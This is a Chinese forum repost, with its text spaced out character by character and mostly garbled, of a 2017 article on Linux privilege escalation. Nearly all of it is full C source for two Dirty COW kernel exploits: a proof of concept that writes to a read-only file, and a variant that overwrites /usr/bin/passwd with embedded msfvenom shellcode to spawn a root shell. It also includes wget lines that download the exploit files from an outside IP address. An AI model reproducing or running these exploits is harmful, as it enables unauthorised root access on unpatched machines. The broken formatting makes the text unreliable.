[20863] 2017-08-16_linux提权

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2017-08-16_linux提权 l i n u x   l e m o n   L e m o n S e c   2 0 1 7 - 0 8 - 1 6 s h e l l s h e l l p o c     2 . c / * # # # # # # # # # # # # # # # # # # # # # # #   d i r t y c 0 w . c   # # # # # # # # # # # # # # # # # # # # # # # $   s u d o   - s #   e c h o   t h i s   i s   n o t   a   t e s t   >   f o o #   c h m o d   0 4 0 4   f o o $   l s   - l a h   f o o - r - - - - - r - -   1   r o o t   r o o t   1 9   O c t   2 0   1 5 : 2 3   f o o $   c a t   f o o t h i s   i s   n o t   a   t e s t $   g c c   - l p t h r e a d   d i r t y c 0 w . c   - o   d i r t y c 0 w
$   . / d i r t y c 0 w   f o o   m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 m m a p   5 6 1 2 3 0 0 0 m a d v i s e   0 p r o c s e l f m e m   1 8 0 0 0 0 0 0 0 0 $   c a t   f o o m 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 # # # # # # # # # # # # # # # # # # # # # # #   d i r t y c 0 w . c   # # # # # # # # # # # # # # # # # # # # # # # * / # i n c l u d e   < s t d i o . h > # i n c l u d e   < s y s / m m a n . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < p t h r e a d . h > # i n c l u d e   < s t r i n g . h > v o i d   * m a p ; i n t   f ; s t r u c t   s t a t   s t ; c h a r   * n a m e ; v o i d   * m a d v i s e T h r e a d ( v o i d   * a r g ) {     c h a r   * s t r ;     s t r = ( c h a r * ) a r g ;     i n t   i , c = 0 ;     f o r ( i = 0 ; i < 1 0 0 0 0 0 0 0 0 ; i + + )     {
/ * Y o u   h a v e   t o   r a c e   m a d v i s e ( M A D V _ D O N T N E E D )   : :   h t t p s : / / a c c e s s . r e d h a t . c o m / s e c u r i t y / v u l n e r a b i l i t i e s / 2 7 0 6 6 6 1 >   T h i s   i s   a c h i e v e d   b y   r a c i n g   t h e   m a d v i s e ( M A D V _ D O N T N E E D )   s y s t e m   c a l l >   w h i l e   h a v i n g   t h e   p a g e   o f   t h e   e x e c u t a b l e   m m a p p e d   i n   m e m o r y . * /         c + = m a d v i s e ( m a p , 1 0 0 , M A D V _ D O N T N E E D ) ;     }     p r i n t f ( " m a d v i s e   % d n n " , c ) ; } v o i d   * p r o c s e l f m e m T h r e a d ( v o i d   * a r g ) {     c h a r   * s t r ;     s t r = ( c h a r * ) a r g ; / * Y o u   h a v e   t o   w r i t e   t o   / p r o c / s e l f / m e m   : :   h t t p s : / / b u g z i l l a . r e d h a t . c o m / s h o w _ b u g . c g i ? i d = 1 3 8 4 3 4 4 # c 1 6 >     T h e   i n   t h e   w i l d   e x p l o i t   w e   a r e   a w a r e   o f   d o e s n ' t   w o r k   o n   R e d   H a t >     E n t e r p r i s e   L i n u x   5   a n d   6   o u t   o f   t h e   b o x   b e c a u s e   o n   o n e   s i d e   o f >     t h e   r a c e   i t   w r i t e s   t o   / p r o c / s e l f / m e m ,   b u t   / p r o c / s e l f / m e m   i s   n o t >     w r i t a b l e   o n   R e d   H a t   E n t e r p r i s e   L i n u x   5   a n d   6 . * /     i n t   f = o p e n ( " / p r o c / s e l f / m e m " , O _ R D W R ) ;     i n t   i , c = 0 ;     f o r ( i = 0 ; i < 1 0 0 0 0 0 0 0 0 ; i + + )   { / * Y o u   h a v e   t o   r e s e t   t h e   f i l e   p o i n t e r   t o   t h e   m e m o r y   p o s i t i o n .
* /         l s e e k ( f , m a p , S E E K _ S E T ) ;         c + = w r i t e ( f , s t r , s t r l e n ( s t r ) ) ;     }     p r i n t f ( " p r o c s e l f m e m   % d n n " ,   c ) ; } i n t   m a i n ( i n t   a r g c , c h a r   * a r g v [ ] ) { / * Y o u   h a v e   t o   p a s s   t w o   a r g u m e n t s .   F i l e   a n d   C o n t e n t s . * /     i f   ( a r g c < 3 ) r e t u r n   1 ;     p t h r e a d _ t   p t h 1 , p t h 2 ; / * Y o u   h a v e   t o   o p e n   t h e   f i l e   i n   r e a d   o n l y   m o d e . * /     f = o p e n ( a r g v [ 1 ] , O _ R D O N L Y ) ;     f s t a t ( f , & s t ) ;     n a m e = a r g v [ 1 ] ; / * Y o u   h a v e   t o   u s e   M A P _ P R I V A T E   f o r   c o p y - o n - w r i t e   m a p p i n g . >   C r e a t e   a   p r i v a t e   c o p y - o n - w r i t e   m a p p i n g .     U p d a t e s   t o   t h e >   m a p p i n g   a r e   n o t   v i s i b l e   t o   o t h e r   p r o c e s s e s   m a p p i n g   t h e   s a m e >   f i l e ,   a n d   a r e   n o t   c a r r i e d   t h r o u g h   t o   t h e   u n d e r l y i n g   f i l e .     I t
>   i s   u n s p e c i f i e d   w h e t h e r   c h a n g e s   m a d e   t o   t h e   f i l e   a f t e r   t h e >   m m a p ( )   c a l l   a r e   v i s i b l e   i n   t h e   m a p p e d   r e g i o n . * / / * Y o u   h a v e   t o   o p e n   w i t h   P R O T _ R E A D . * /     m a p = m m a p ( N U L L , s t . s t _ s i z e , P R O T _ R E A D , M A P _ P R I V A T E , f , 0 ) ;     p r i n t f ( " m m a p   % x n n " , m a p ) ; / * Y o u   h a v e   t o   d o   i t   o n   t w o   t h r e a d s . * /     p t h r e a d _ c r e a t e ( & p t h 1 , N U L L , m a d v i s e T h r e a d , a r g v [ 1 ] ) ;     p t h r e a d _ c r e a t e ( & p t h 2 , N U L L , p r o c s e l f m e m T h r e a d , a r g v [ 2 ] ) ; / * Y o u   h a v e   t o   w a i t   f o r   t h e   t h r e a d s   t o   f i n i s h . * /     p t h r e a d _ j o i n ( p t h 1 , N U L L ) ;     p t h r e a d _ j o i n ( p t h 2 , N U L L ) ;     r e t u r n   0 ; } 2 . c w g e t   h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 2 . c
~ e x p p o c l i n u x e x p l i n u x ~               1 . c / * *   ( u n ) c o m m e n t   c o r r e c t   p a y l o a d   f i r s t   ( x 8 6   o r   x 6 4 ) ! *   *   $   g c c   c o w r o o t . c   - o   c o w r o o t   - p t h r e a d *   $   . / c o w r o o t *   D i r t y C o w   r o o t   p r i v i l e g e   e s c a l a t i o n *   B a c k i n g   u p   / u s r / b i n / p a s s w d . .   t o   / t m p / b a k *   S i z e   o f   b i n a r y :   5 7 0 4 8 *   R a c i n g ,   t h i s   m a y   t a k e   a   w h i l e . . *   / u s r / b i n / p a s s w d   o v e r w r i t t e n *   P o p p i n g   r o o t   s h e l l . *   D o n ' t   w o r r y , / u s r / b i n / p a s s w d   h a s   b e e n   r e s t o r e d . *   t h r e a d   s t o p p e d *   t h r e a d   s t o p p e d *   r o o t @ b o x : / r o o t / c o w #   i d *   u i d = 0 ( r o o t )   g i d = 1 0 0 0 ( f o o )   g r o u p s = 1 0 0 0 ( f o o ) * *   @ r o b i n v e r t o n   * / # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s y s / m m a n . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < p t h r e a d . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   < u n i s t d . h > v o i d   * m a p ; i n t   f ; i n t   s t o p   =   0 ; s t r u c t   s t a t   s t ; c h a r   * n a m e ; p t h r e a d _ t   p t h 1 , p t h 2 , p t h 3 ; c h a r   s u i d _ b i n a r y [ ]   =   " / u s r / b i n / p a s s w d " ; / * *   $   m s f v e n o m   - p   l i n u x / x 6 4 / e x e c   C M D = " e c h o   0   >   / p r o c / s y s / v m / d i r t y _ w r i t e b a c k _ c e n t i s e c s & & c p   - f   / t m p / b a k   / u s r / b i n / p a s s w d & & / b i n / b a s h "   P r e p e n d S e t u i d = T r u e   - f   e l f   |   x x d   - i * /   u n s i g n e d   c h a r   s c [ ]   =   {
    0 x 7 f ,   0 x 4 5 ,   0 x 4 c ,   0 x 4 6 ,   0 x 0 2 ,   0 x 0 1 ,   0 x 0 1 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 2 ,   0 x 0 0 ,   0 x 3 e ,   0 x 0 0 ,   0 x 0 1 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 7 8 ,   0 x 0 0 ,   0 x 4 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 4 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 4 0 ,   0 x 0 0 ,   0 x 3 8 ,   0 x 0 0 ,   0 x 0 1 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 1 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 7 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 4 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 4 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 2 ,   0 x 0 1 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 8 c ,   0 x 0 1 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 1 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,     0 x 4 8 ,   0 x 3 1 ,   0 x f f ,   0 x 6 a ,   0 x 6 9 ,   0 x 5 8 ,   0 x 0 f ,   0 x 0 5 ,   0 x 6 a ,   0 x 3 b ,   0 x 5 8 ,   0 x 9 9 ,     0 x 4 8 ,   0 x b b ,   0 x 2 f ,   0 x 6 2 ,   0 x 6 9 ,   0 x 6 e ,   0 x 2 f ,   0 x 7 3 ,   0 x 6 8 ,   0 x 0 0 ,   0 x 5 3 ,   0 x 4 8 ,     0 x 8 9 ,   0 x e 7 ,   0 x 6 8 ,   0 x 2 d ,   0 x 6 3 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 4 8 ,   0 x 8 9 ,   0 x e 6 ,   0 x 5 2 ,   0 x e 8 ,     0 x 5 b ,   0 x 0 0 ,   0 x 0 0 ,   0 x 0 0 ,   0 x 6 5 ,   0 x 6 3 ,   0 x 6 8 ,   0 x 6 f ,   0 x 2 0 ,   0 x 3 0 ,   0 x 2 0 ,   0 x 3 e ,     0 x 2 0 ,   0 x 2 f ,   0 x 7 0 ,   0 x 7 2 ,   0 x 6 f ,   0 x 6 3 ,   0 x 2 f ,   0 x 7 3 ,   0 x 7 9 ,   0 x 7 3 ,   0 x 2 f ,   0 x 7 6 ,     0 x 6 d ,   0 x 2 f ,   0 x 6 4 ,   0 x 6 9 ,   0 x 7 2 ,   0 x 7 4 ,   0 x 7 9 ,   0 x 5 f ,   0 x 7 7 ,   0 x 7 2 ,   0 x 6 9 ,   0 x 7 4 ,     0 x 6 5 ,   0 x 6 2 ,   0 x 6 1 ,   0 x 6 3 ,   0 x 6 b ,   0 x 5 f ,   0 x 6 3 ,   0 x 6 5 ,   0 x 6 e ,   0 x 7 4 ,   0 x 6 9 ,   0 x 7 3 ,     0 x 6 5 ,   0 x 6 3 ,   0 x 7 3 ,   0 x 2 6 ,   0 x 2 6 ,   0 x 6 3 ,   0 x 7 0 ,   0 x 2 0 ,   0 x 2 d ,   0 x 6 6 ,   0 x 2 0 ,   0 x 2 f ,     0 x 7 4 ,   0 x 6 d ,   0 x 7 0 ,   0 x 2 f ,   0 x 6 2 ,   0 x 6 1 ,   0 x 6 b ,   0 x 2 0 ,   0 x 2 f ,   0 x 7 5 ,   0 x 7 3 ,   0 x 7 2 ,     0 x 2 f ,   0 x 6 2 ,   0 x 6 9 ,   0 x 6 e ,   0 x 2 f ,   0 x 7 0 ,   0 x 6 1 ,   0 x 7 3 ,   0 x 7 3 ,   0 x 7 7 ,   0 x 6 4 ,   0 x 2 6 ,     0 x 2 6 ,   0 x 2 f ,   0 x 6 2 ,   0 x 6 9 ,   0 x 6 e ,   0 x 2 f ,   0 x 6 2 ,   0 x 6 1 ,   0 x 7 3 ,   0 x 6 8 ,   0 x 0 0 ,   0 x 5 6 ,     0 x 5 7 ,   0 x 4 8 ,   0 x 8 9 ,   0 x e 6 ,   0 x 0 f ,   0 x 0 5 } ; u n s i g n e d   i n t   s c _ l e n   =   2 5 8 ; v o i d   * m a d v i s e T h r e a d ( v o i d   * a r g ) {         c h a r   * s t r ;         s t r = ( c h a r * ) a r g ;         i n t   i , c = 0 ;         f o r ( i = 0 ; i < 1 0 0 0 0 0 0   & &   ! s t o p ; i + + )   {                 c + = m a d v i s e ( m a p , 1 0 0 , M A D V _ D O N T N E E D ) ;         }         p r i n t f ( " t h r e a d   s t o p p e d n " ) ; } v o i d   * p r o c s e l f m e m T h r e a d ( v o i d   * a r g ) {         c h a r   * s t r ;         s t r = ( c h a r * ) a r g ;         i n t   f = o p e n ( " / p r o c / s e l f / m e m " , O _ R D W R ) ;         i n t   i , c = 0 ;         f o r ( i = 0 ; i < 1 0 0 0 0 0 0   & &   ! s t o p ; i + + )   {                 l s e e k ( f , m a p , S E E K _ S E T ) ;                 c + = w r i t e ( f ,   s t r ,   s c _ l e n ) ;         }         p r i n t f ( " t h r e a d   s t o p p e d n " ) ; } v o i d   * w a i t F o r W r i t e ( v o i d   * a r g )   {         c h a r   b u f [ s c _ l e n ] ;
        f o r ( ; ; )   {                 F I L E   * f p   =   f o p e n ( s u i d _ b i n a r y ,   " r b " ) ;                 f r e a d ( b u f ,   s c _ l e n ,   1 ,   f p ) ;                 i f ( m e m c m p ( b u f ,   s c ,   s c _ l e n )   = =   0 )   {                         p r i n t f ( " % s   o v e r w r i t t e n n " ,   s u i d _ b i n a r y ) ;                         b r e a k ;                 }                 f c l o s e ( f p ) ;                 s l e e p ( 1 ) ;         }         s t o p   =   1 ;         p r i n t f ( " P o p p i n g   r o o t   s h e l l . n " ) ;         p r i n t f ( " D o n ' t   w o r r y , / u s r / b i n / p a s s w d   h a s   b e e n   r e s t o r e d . n " ) ;         s y s t e m ( s u i d _ b i n a r y ) ; } i n t   m a i n ( i n t   a r g c , c h a r   * a r g v [ ] )   {         c h a r   * b a c k u p ;         p r i n t f ( " D i r t y C o w   r o o t   p r i v i l e g e   e s c a l a t i o n n " ) ;         p r i n t f ( " B a c k i n g   u p   % s   t o   / t m p / b a k n " ,   s u i d _ b i n a r y ) ;         a s p r i n t f ( & b a c k u p ,   " c p   % s   / t m p / b a k " ,   s u i d _ b i n a r y ) ;         s y s t e m ( b a c k u p ) ;         f   =   o p e n ( s u i d _ b i n a r y , O _ R D O N L Y ) ;         f s t a t ( f , & s t ) ;         p r i n t f ( " S i z e   o f   b i n a r y :   % d n " ,   s t . s t _ s i z e ) ;         c h a r   p a y l o a d [ s t . s t _ s i z e ] ;         m e m s e t ( p a y l o a d ,   0 x 9 0 ,   s t . s t _ s i z e ) ;         m e m c p y ( p a y l o a d ,   s c ,   s c _ l e n + 1 ) ;         m a p   =   m m a p ( N U L L , s t . s t _ s i z e , P R O T _ R E A D , M A P _ P R I V A T E , f , 0 ) ;         p r i n t f ( " R a c i n g ,   t h i s   m a y   t a k e   a   w h i l e . . n " ) ;         p t h r e a d _ c r e a t e ( & p t h 1 ,   N U L L ,   & m a d v i s e T h r e a d ,   s u i d _ b i n a r y ) ;         p t h r e a d _ c r e a t e ( & p t h 2 ,   N U L L ,   & p r o c s e l f m e m T h r e a d ,   p a y l o a d ) ;         p t h r e a d _ c r e a t e ( & p t h 3 ,   N U L L ,   & w a i t F o r W r i t e ,   N U L L ) ;         p t h r e a d _ j o i n ( p t h 3 ,   N U L L ) ;         r e t u r n   0 ;
} 1 . c w g e t   h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . c

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则